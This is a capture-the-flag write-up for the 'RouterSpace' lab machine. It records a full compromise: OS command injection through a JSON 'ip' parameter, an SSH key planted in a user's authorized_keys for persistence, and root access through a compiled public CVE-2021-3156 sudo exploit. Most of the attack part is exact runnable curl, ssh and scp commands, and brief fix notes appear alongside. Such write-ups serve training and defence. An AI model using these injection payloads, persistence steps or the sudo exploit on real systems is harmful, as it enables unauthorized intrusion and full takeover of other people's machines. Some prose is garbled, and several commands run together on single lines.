RouterSpace
Summary
The RouterSpace web application on port 80 exposed an unauthenticated JSON diagnostic API whose 'ip' parameter was passed directly to a shell command with no validation. My without credentials injected OS commands through that single field, confirmed execution as user 'paul', read the user flag in a single HTTP request, and implanted an SSH public key into paul's home directory — converting blind HTTP-based code execution into a persistent interactive shell.
From that foothold, the installed sudo binary proved to be version 1.8.31, unpatched against CVE-2021-3156 ('Baron Samedit'), a heap-based buffer overflow exploitable by any local user regardless of sudo policy. A public proof-of-concept was compiled on my machine, transferred via SCP over the newly established SSH channel, and executed on-target — producing an immediate root shell and completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p22,80 --script ssh-auth-methods,ssh-hostkey $TARGETecho "$TARGET routerspace.htb" | sudo tee -a /etc/hostscurl -si -A "$PASSWORD" http://routerspace.htb/ | head -30Exact commands 1
curl -sS -m 8 -X POST -H "User-Agent: $PASSWORD" -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccessFixEliminate OS command injection by never passing user input directly to shell commandsCritical
Exact commands 1
curl -sS -m 8 -X POST -H "User-Agent: $PASSWORD" -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0;id"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccessExact commands 1
curl -sS -m 8 -X POST -H "User-Agent: $PASSWORD" -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0;cat /home/paul/user.txt"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccessExact commands 3
ssh-keygen -t ed25519 -N '' -f /tmp/paul_ed25519curl -sS -m 8 -X POST -H "User-Agent: $PASSWORD" -H 'Content-Type: application/json' --data '{"ip":"0.0.0.0;mkdir -p /home/paul/.ssh && echo <PAUL_ED25519_PUB_CONTENT> >> /home/paul/.ssh/authorized_keys && chmod 600 /home/paul/.ssh/authorized_keys"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccessssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/paul_ed25519 paul@$TARGETExact commands 2
sudo -Vuname -r && grep PRETTY /etc/os-releaseExact commands 4
git clone https://github.com/CptGibbon/CVE-2021-3156.git /tmp/CVE-2021-3156 && cd /tmp/CVE-2021-3156 && makecd /tmp && tar czf CVE-2021-3156.tgz CVE-2021-3156 && scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/paul_ed25519 CVE-2021-3156.tgz paul@$TARGET:/tmp/cve.tgzssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/paul_ed25519 paul@$TARGET 'cd /tmp && tar xzf cve.tgz && cd CVE-2021-3156 && ./exploit'cat /root/root.txtFixPatch sudo to version 1.9.5p2 or later to close CVE-2021-3156 (Baron Samedit)High
Exposed services
| 22/tcp | ssh (protocol 2.0) |
| 80/tcp | http |